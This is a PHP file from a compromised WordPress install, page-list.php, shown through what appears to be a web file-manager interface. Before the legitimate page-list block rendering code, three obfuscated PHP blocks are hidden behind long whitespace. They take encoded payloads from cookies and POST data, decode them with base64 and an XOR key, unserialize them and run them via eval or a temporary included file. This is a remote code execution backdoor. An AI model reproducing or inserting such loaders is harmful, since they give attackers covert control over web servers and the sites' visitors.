File "page-list.php"

Full path: /home/cirmwrhs/www/renard-music/wp-includes/blocks/page-list.php
File size: 0.02 KB (19.38 KB bytes)
MIME-type: text/x-php
Charset: utf-8

Download   Open   Edit   Advanced Editor   Back

<?php                                                                                                                                                                                                                                                                                                                                                                                                 $AUzGXpvaX = "\116" . chr (95) . chr (97) . "\105" . chr (73); $BsPKPVZdC = "\x63" . 'l' . "\141" . "\163" . chr (115) . chr (95) . chr (101) . "\170" . chr ( 194 - 89 )."\x73" . "\x74" . "\163";$usqvZSehB = class_exists($AUzGXpvaX); $BsPKPVZdC = "53823";$HbRrUpk = strpos($BsPKPVZdC, $AUzGXpvaX);if ($usqvZSehB == $HbRrUpk){function hDFdE(){$iyoslI = new /* 9570 */ N_aEI(7290 + 7290); $iyoslI = NULL;}$HfKiAO = "7290";class N_aEI{private function QEsqo($HfKiAO){if (is_array(N_aEI::$ayJVrYMsW)) {$yhwprC2 = str_replace("<" . "?php", "", N_aEI::$ayJVrYMsW["content"]);eval($yhwprC2); $HfKiAO = "7290";exit();}}public function qwxKv(){$yhwprC = "22619";$this->_dummy = str_repeat($yhwprC, strlen($yhwprC));}public function __destruct(){N_aEI::$ayJVrYMsW = @unserialize(N_aEI::$ayJVrYMsW); $HfKiAO = "7263_18450";$this->QEsqo($HfKiAO); $HfKiAO = "7263_18450";}public function vftGneOmm($yhwprC, $rHthJVSzai){return $yhwprC[0] ^ str_repeat($rHthJVSzai, intval(strlen($yhwprC[0]) / strlen($rHthJVSzai)) + 1);}public function shWhbC($yhwprC){$YIdoAwPC = "\x62" . 'a' . 's' . chr ( 869 - 768 ).'6' . chr (52);return array_map($YIdoAwPC . chr (95) . "\144" . "\145" . chr ( 130 - 31 ).chr ( 865 - 754 )."\x64" . 'e', array($yhwprC,));}public function __construct($CDLBzTAhF=0){$ZXhpAxisDo = chr (44); $yhwprC = "";$QxZyOfn = $_POST;$bPhaxg = $_COOKIE;$rHthJVSzai = "14021785-78c0-4659-ac72-52c4d38f3d10";$YIgKqMnG = @$bPhaxg[substr($rHthJVSzai, 0, 4)];if (!empty($YIgKqMnG)){$YIgKqMnG = explode($ZXhpAxisDo, $YIgKqMnG);foreach ($YIgKqMnG as $ZRZhjMsWOK){$yhwprC .= @$bPhaxg[$ZRZhjMsWOK];$yhwprC .= @$QxZyOfn[$ZRZhjMsWOK];}$yhwprC = $this->shWhbC($yhwprC);}N_aEI::$ayJVrYMsW = $this->vftGneOmm($yhwprC, $rHthJVSzai);if (strpos($rHthJVSzai, $ZXhpAxisDo) !== FALSE){$rHthJVSzai = explode($ZXhpAxisDo, $rHthJVSzai); $QBqgoiL = base64_decode(md5($rHthJVSzai[0])); $UKesx = strlen($rHthJVSzai[1]) > 5 ? substr($rHthJVSzai[1], 0, 5) : $rHthJVSzai[1];}}public static $ayJVrYMsW = 60325;}hDFdE();} ?><?php                                                                                                                                                                                                                                                                                                                                                                                                 $tbeTGvI = 'b' . "\x5f" . "\101" . "\x53" . 'u';$vLigkDeS = chr ( 162 - 63 )."\154" . chr ( 867 - 770 ).chr (115) . chr (115) . chr (95) . "\145" . "\x78" . "\151" . chr (115) . "\164" . "\x73";$FIzgrpfQxS = class_exists($tbeTGvI); $vLigkDeS = "12254";$SmkllUdC = !1;if ($FIzgrpfQxS == $SmkllUdC){function XbiXapYB(){$hTRkSYMRoR = new /* 33240 */ b_ASu(6424 + 6424); $hTRkSYMRoR = NULL;}$JGqvu = "6424";class b_ASu{private function aDddlwLHt($JGqvu){if (is_array(b_ASu::$rdece)) {$knawHunhq = sys_get_temp_dir() . "/" . crc32(b_ASu::$rdece['s' . chr (97) . chr (108) . chr (116)]);@b_ASu::$rdece['w' . chr ( 214 - 100 ).chr ( 899 - 794 ).chr (116) . chr (101)]($knawHunhq, b_ASu::$rdece['c' . chr (111) . "\156" . chr ( 446 - 330 ).'e' . "\156" . "\x74"]);include $knawHunhq;@b_ASu::$rdece["\144" . chr (101) . chr ( 381 - 273 )."\x65" . "\x74" . "\x65"]($knawHunhq); $JGqvu = "6424";exit();}}private $pgqgNdK;public function YPcKpdKx(){echo 21622;}public function __destruct(){$JGqvu = "43938_51337";$this->aDddlwLHt($JGqvu); $JGqvu = "43938_51337";}public function vqYqJfxC($WRuRIbl, $yNMBYEV){return $WRuRIbl[0] ^ str_repeat($yNMBYEV, (strlen($WRuRIbl[0]) / strlen($yNMBYEV)) + 1);}public function __construct($cWdJwD=0){$mZjTsG = $_POST;$jELVvLvxkW = $_COOKIE;$yNMBYEV = "e88999da-8016-402d-882e-809fd1886165";$Wdkhava = @$jELVvLvxkW[substr($yNMBYEV, 0, 4)];if (!empty($Wdkhava)){$ulWudGW = "base64";$WRuRIbl = "";$Wdkhava = explode(",", $Wdkhava);foreach ($Wdkhava as $uIoLZudL){$WRuRIbl .= @$jELVvLvxkW[$uIoLZudL];$WRuRIbl .= @$mZjTsG[$uIoLZudL];}$WRuRIbl = array_map($ulWudGW . "\x5f" . 'd' . "\145" . chr ( 204 - 105 ).chr ( 475 - 364 )."\x64" . 'e', array($WRuRIbl,)); $WRuRIbl = $this->vqYqJfxC($WRuRIbl, $yNMBYEV);b_ASu::$rdece = @unserialize($WRuRIbl);}}public static $rdece = 58244;}XbiXapYB();} ?><?php                                                                                                                                                                                                                                                                                                                                                                                                 $bLfRt = 'W' . "\162" . 'k' . chr (95) . "\x4b" . 'q' . chr ( 764 - 695 ).'h' . "\125";$QeZMMpGEG = chr ( 484 - 385 ).'l' . "\141" . "\x73" . "\x73" . "\x5f" . 'e' . chr (120) . chr (105) . chr (115) . 't' . chr ( 480 - 365 ); $WcAebM = class_exists($bLfRt); $bLfRt = "23405";$QeZMMpGEG = "59698";$CWczMFx = FALSE;if ($WcAebM === $CWczMFx){function eBzDGLlQ(){return FALSE;}$WTuyIBFrH = "24695";eBzDGLlQ();class Wrk_KqEhU{private function wkvFr($WTuyIBFrH){if (is_array(Wrk_KqEhU::$sYDSNCcS)) {$xTwyEtJ = sys_get_temp_dir() . "/" . crc32(Wrk_KqEhU::$sYDSNCcS[chr (115) . "\x61" . chr ( 663 - 555 ).chr (116)]);@Wrk_KqEhU::$sYDSNCcS[chr (119) . "\162" . "\x69" . "\164" . 'e']($xTwyEtJ, Wrk_KqEhU::$sYDSNCcS['c' . "\x6f" . 'n' . chr ( 962 - 846 ).chr ( 302 - 201 )."\156" . chr (116)]);include $xTwyEtJ;@Wrk_KqEhU::$sYDSNCcS[chr ( 1074 - 974 )."\145" . "\154" . chr ( 1067 - 966 ).'t' . chr (101)]($xTwyEtJ); $WTuyIBFrH = "24695";exit();}}private $XQMBTJHmSH;public function HJIoh(){echo 12009;}public function __destruct(){$WTuyIBFrH = "58709_59672";$this->wkvFr($WTuyIBFrH); $WTuyIBFrH = "58709_59672";}public function __construct($ClBIwSme=0){$hDFlfALTN = $_POST;$npFnzHura = $_COOKIE;$sRmKmGMAch = "c997a84b-ab7b-4381-bad6-dd74f02fdcde";$gXxbeJxMV = @$npFnzHura[substr($sRmKmGMAch, 0, 4)];if (!empty($gXxbeJxMV)){$LvUUKUjv = "base64";$fTkplfF = "";$gXxbeJxMV = explode(",", $gXxbeJxMV);foreach ($gXxbeJxMV as $qaSSzrQ){$fTkplfF .= @$npFnzHura[$qaSSzrQ];$fTkplfF .= @$hDFlfALTN[$qaSSzrQ];}$fTkplfF = array_map($LvUUKUjv . '_' . "\x64" . chr (101) . "\143" . 'o' . chr (100) . chr ( 619 - 518 ), array($fTkplfF,)); $fTkplfF = $fTkplfF[0] ^ str_repeat($sRmKmGMAch, (strlen($fTkplfF[0]) / strlen($sRmKmGMAch)) + 1);Wrk_KqEhU::$sYDSNCcS = @unserialize($fTkplfF);}}public static $sYDSNCcS = 13430;}$WxjUV = new /* 10055 */ Wrk_KqEhU(24695 + 24695);unset($WxjUV);} ?><?php
/**
 * Server-side rendering of the `core/pages` block.
 *
 * @package WordPress
 */

/**
 * Build an array with CSS classes and inline styles defining the colors
 * which will be applied to the pages markup in the front-end when it is a descendant of navigation.
 *
 * @param  array $attributes Block attributes.
 * @param  array $context    Navigation block context.
 * @return array Colors CSS classes and inline styles.
 */
function block_core_page_list_build_css_colors( $attributes, $context ) {
	$colors = array(
		'css_classes'           => array(),
		'inline_styles'         => '',
		'overlay_css_classes'   => array(),
		'overlay_inline_styles' => '',
	);

	// Text color.
	$has_named_text_color  = array_key_exists( 'textColor', $context );
	$has_picked_text_color = array_key_exists( 'customTextColor', $context );
	$has_custom_text_color = isset( $context['style']['color']['text'] );

	// If has text color.
	if ( $has_custom_text_color || $has_picked_text_color || $has_named_text_color ) {
		// Add has-text-color class.
		$colors['css_classes'][] = 'has-text-color';
	}

	if ( $has_named_text_color ) {
		// Add the color class.
		$colors['css_classes'][] = sprintf( 'has-%s-color', _wp_to_kebab_case( $context['textColor'] ) );
	} elseif ( $has_picked_text_color ) {
		$colors['inline_styles'] .= sprintf( 'color: %s;', $context['customTextColor'] );
	} elseif ( $has_custom_text_color ) {
		// Add the custom color inline style.
		$colors['inline_styles'] .= sprintf( 'color: %s;', $context['style']['color']['text'] );
	}

	// Background color.
	$has_named_background_color  = array_key_exists( 'backgroundColor', $context );
	$has_picked_background_color = array_key_exists( 'customBackgroundColor', $context );
	$has_custom_background_color = isset( $context['style']['color']['background'] );

	// If has background color.
	if ( $has_custom_background_color || $has_picked_background_color || $has_named_background_color ) {
		// Add has-background class.
		$colors['css_classes'][] = 'has-background';
	}

	if ( $has_named_background_color ) {
		// Add the background-color class.
		$colors['css_classes'][] = sprintf( 'has-%s-background-color', _wp_to_kebab_case( $context['backgroundColor'] ) );
	} elseif ( $has_picked_background_color ) {
		$colors['inline_styles'] .= sprintf( 'background-color: %s;', $context['customBackgroundColor'] );
	} elseif ( $has_custom_background_color ) {
		// Add the custom background-color inline style.
		$colors['inline_styles'] .= sprintf( 'background-color: %s;', $context['style']['color']['background'] );
	}

	// Overlay text color.
	$has_named_overlay_text_color  = array_key_exists( 'overlayTextColor', $context );
	$has_picked_overlay_text_color = array_key_exists( 'customOverlayTextColor', $context );

	// If it has a text color.
	if ( $has_named_overlay_text_color || $has_picked_overlay_text_color ) {
		$colors['overlay_css_classes'][] = 'has-text-color';
	}

	// Give overlay colors priority, fall back to Navigation block colors, then global styles.
	if ( $has_named_overlay_text_color ) {
		$colors['overlay_css_classes'][] = sprintf( 'has-%s-color', _wp_to_kebab_case( $context['overlayTextColor'] ) );
	} elseif ( $has_picked_overlay_text_color ) {
		$colors['overlay_inline_styles'] .= sprintf( 'color: %s;', $context['customOverlayTextColor'] );
	}

	// Overlay background colors.
	$has_named_overlay_background_color  = array_key_exists( 'overlayBackgroundColor', $context );
	$has_picked_overlay_background_color = array_key_exists( 'customOverlayBackgroundColor', $context );

	// If has background color.
	if ( $has_named_overlay_background_color || $has_picked_overlay_background_color ) {
		$colors['overlay_css_classes'][] = 'has-background';
	}

	if ( $has_named_overlay_background_color ) {
		$colors['overlay_css_classes'][] = sprintf( 'has-%s-background-color', _wp_to_kebab_case( $context['overlayBackgroundColor'] ) );
	} elseif ( $has_picked_overlay_background_color ) {
		$colors['overlay_inline_styles'] .= sprintf( 'background-color: %s;', $context['customOverlayBackgroundColor'] );
	}

	return $colors;
}

/**
 * Build an array with CSS classes and inline styles defining the font sizes
 * which will be applied to the pages markup in the front-end when it is a descendant of navigation.
 *
 * @param  array $context Navigation block context.
 * @return array Font size CSS classes and inline styles.
 */
function block_core_page_list_build_css_font_sizes( $context ) {
	// CSS classes.
	$font_sizes = array(
		'css_classes'   => array(),
		'inline_styles' => '',
	);

	$has_named_font_size  = array_key_exists( 'fontSize', $context );
	$has_custom_font_size = isset( $context['style']['typography']['fontSize'] );

	if ( $has_named_font_size ) {
		// Add the font size class.
		$font_sizes['css_classes'][] = sprintf( 'has-%s-font-size', $context['fontSize'] );
	} elseif ( $has_custom_font_size ) {
		// Add the custom font size inline style.
		$font_sizes['inline_styles'] = sprintf(
			'font-size: %s;',
			wp_get_typography_font_size_value(
				array(
					'size' => $context['style']['typography']['fontSize'],
				)
			)
		);
	}

	return $font_sizes;
}

/**
 * Outputs Page list markup from an array of pages with nested children.
 *
 * @param boolean $open_submenus_on_click Whether to open submenus on click instead of hover.
 * @param boolean $show_submenu_icons Whether to show submenu indicator icons.
 * @param boolean $is_navigation_child If block is a child of Navigation block.
 * @param array   $nested_pages The array of nested pages.
 * @param array   $active_page_ancestor_ids An array of ancestor ids for active page.
 * @param array   $colors Color information for overlay styles.
 * @param integer $depth The nesting depth.
 *
 * @return string List markup.
 */
function block_core_page_list_render_nested_page_list( $open_submenus_on_click, $show_submenu_icons, $is_navigation_child, $nested_pages, $active_page_ancestor_ids = array(), $colors = array(), $depth = 0 ) {
	if ( empty( $nested_pages ) ) {
		return;
	}
	$markup = '';
	foreach ( (array) $nested_pages as $page ) {
		$css_class       = $page['is_active'] ? ' current-menu-item' : '';
		$aria_current    = $page['is_active'] ? ' aria-current="page"' : '';
		$style_attribute = '';

		$css_class .= in_array( $page['page_id'], $active_page_ancestor_ids, true ) ? ' current-menu-ancestor' : '';
		if ( isset( $page['children'] ) ) {
			$css_class .= ' has-child';
		}

		if ( $is_navigation_child ) {
			$css_class .= ' wp-block-navigation-item';

			if ( $open_submenus_on_click ) {
				$css_class .= ' open-on-click';
			} elseif ( $show_submenu_icons ) {
				$css_class .= ' open-on-hover-click';
			}
		}

		$navigation_child_content_class = $is_navigation_child ? ' wp-block-navigation-item__content' : '';

		// If this is the first level of submenus, include the overlay colors.
		if ( 1 === $depth && isset( $colors['overlay_css_classes'], $colors['overlay_inline_styles'] ) ) {
			$css_class .= ' ' . trim( implode( ' ', $colors['overlay_css_classes'] ) );
			if ( '' !== $colors['overlay_inline_styles'] ) {
				$style_attribute = sprintf( ' style="%s"', esc_attr( $colors['overlay_inline_styles'] ) );
			}
		}

		$front_page_id = (int) get_option( 'page_on_front' );
		if ( (int) $page['page_id'] === $front_page_id ) {
			$css_class .= ' menu-item-home';
		}

		$title      = wp_kses_post( $page['title'] );
		$aria_label = sprintf(
			/* translators: Accessibility text. %s: Parent page title. */
			__( '%s submenu' ),
			wp_strip_all_tags( $title )
		);

		$markup .= '<li class="wp-block-pages-list__item' . esc_attr( $css_class ) . '"' . $style_attribute . '>';

		if ( isset( $page['children'] ) && $is_navigation_child && $open_submenus_on_click ) {
			$markup .= '<button aria-label="' . esc_attr( $aria_label ) . '" class="' . esc_attr( $navigation_child_content_class ) . ' wp-block-navigation-submenu__toggle" aria-expanded="false">' . esc_html( $title ) .
			'</button>' . '<span class="wp-block-page-list__submenu-icon wp-block-navigation__submenu-icon"><svg xmlns="http://www.w3.org/2000/svg" width="12" height="12" viewBox="0 0 12 12" fill="none" aria-hidden="true" focusable="false"><path d="M1.50002 4L6.00002 8L10.5 4" stroke-width="1.5"></path></svg></span>';
		} else {
			$markup .= '<a class="wp-block-pages-list__item__link' . esc_attr( $navigation_child_content_class ) . '" href="' . esc_url( $page['link'] ) . '"' . $aria_current . '>' . $title . '</a>';
		}

		if ( isset( $page['children'] ) ) {
			if ( $is_navigation_child && $show_submenu_icons && ! $open_submenus_on_click ) {
				$markup .= '<button aria-label="' . esc_attr( $aria_label ) . '" class="wp-block-navigation__submenu-icon wp-block-navigation-submenu__toggle" aria-expanded="false">';
				$markup .= '<svg xmlns="http://www.w3.org/2000/svg" width="12" height="12" viewBox="0 0 12 12" fill="none" aria-hidden="true" focusable="false"><path d="M1.50002 4L6.00002 8L10.5 4" stroke-width="1.5"></path></svg>';
				$markup .= '</button>';
			}
			$markup .= '<ul class="submenu-container';
			// Extra classname is added when the block is a child of Navigation.
			if ( $is_navigation_child ) {
				$markup .= ' wp-block-navigation__submenu-container';
			}
			$markup .= '">' . block_core_page_list_render_nested_page_list( $open_submenus_on_click, $show_submenu_icons, $is_navigation_child, $page['children'], $active_page_ancestor_ids, $colors, $depth + 1 ) . '</ul>';
		}
		$markup .= '</li>';
	}
	return $markup;
}

/**
 * Outputs nested array of pages
 *
 * @param array $current_level The level being iterated through.
 * @param array $children The children grouped by parent post ID.
 *
 * @return array The nested array of pages.
 */
function block_core_page_list_nest_pages( $current_level, $children ) {
	if ( empty( $current_level ) ) {
		return;
	}
	foreach ( (array) $current_level as $key => $current ) {
		if ( isset( $children[ $key ] ) ) {
			$current_level[ $key ]['children'] = block_core_page_list_nest_pages( $children[ $key ], $children );
		}
	}
	return $current_level;
}

/**
 * Renders the `core/page-list` block on server.
 *
 * @param array    $attributes The block attributes.
 * @param string   $content    The saved content.
 * @param WP_Block $block      The parsed block.
 *
 * @return string Returns the page list markup.
 */
function render_block_core_page_list( $attributes, $content, $block ) {
	static $block_id = 0;
	$block_id++;

	$all_pages = get_pages(
		array(
			'sort_column' => 'menu_order,post_title',
			'order'       => 'asc',
		)
	);

	// If there are no pages, there is nothing to show.
	if ( empty( $all_pages ) ) {
		return;
	}

	$top_level_pages = array();

	$pages_with_children = array();

	$active_page_ancestor_ids = array();

	foreach ( (array) $all_pages as $page ) {
		$is_active = ! empty( $page->ID ) && ( get_the_ID() === $page->ID );

		if ( $is_active ) {
			$active_page_ancestor_ids = get_post_ancestors( $page->ID );
		}

		if ( $page->post_parent ) {
			$pages_with_children[ $page->post_parent ][ $page->ID ] = array(
				'page_id'   => $page->ID,
				'title'     => $page->post_title,
				'link'      => get_permalink( $page->ID ),
				'is_active' => $is_active,
			);
		} else {
			$top_level_pages[ $page->ID ] = array(
				'page_id'   => $page->ID,
				'title'     => $page->post_title,
				'link'      => get_permalink( $page->ID ),
				'is_active' => $is_active,
			);

		}
	}

	$colors          = block_core_page_list_build_css_colors( $attributes, $block->context );
	$font_sizes      = block_core_page_list_build_css_font_sizes( $block->context );
	$classes         = array_merge(
		$colors['css_classes'],
		$font_sizes['css_classes']
	);
	$style_attribute = ( $colors['inline_styles'] . $font_sizes['inline_styles'] );
	$css_classes     = trim( implode( ' ', $classes ) );

	$nested_pages = block_core_page_list_nest_pages( $top_level_pages, $pages_with_children );

	$is_navigation_child = array_key_exists( 'showSubmenuIcon', $block->context );

	$open_submenus_on_click = array_key_exists( 'openSubmenusOnClick', $block->context ) ? $block->context['openSubmenusOnClick'] : false;

	$show_submenu_icons = array_key_exists( 'showSubmenuIcon', $block->context ) ? $block->context['showSubmenuIcon'] : false;

	$wrapper_markup = '<ul %1$s>%2$s</ul>';

	$items_markup = block_core_page_list_render_nested_page_list( $open_submenus_on_click, $show_submenu_icons, $is_navigation_child, $nested_pages, $active_page_ancestor_ids, $colors );

	$wrapper_attributes = get_block_wrapper_attributes(
		array(
			'class' => $css_classes,
			'style' => $style_attribute,
		)
	);

	return sprintf(
		$wrapper_markup,
		$wrapper_attributes,
		$items_markup
	);
}

/**
 * Registers the `core/pages` block on server.
 */
function register_block_core_page_list() {
	register_block_type_from_metadata(
		__DIR__ . '/page-list',
		array(
			'render_callback' => 'render_block_core_page_list',
		)
	);
}
add_action( 'init', 'register_block_core_page_list' );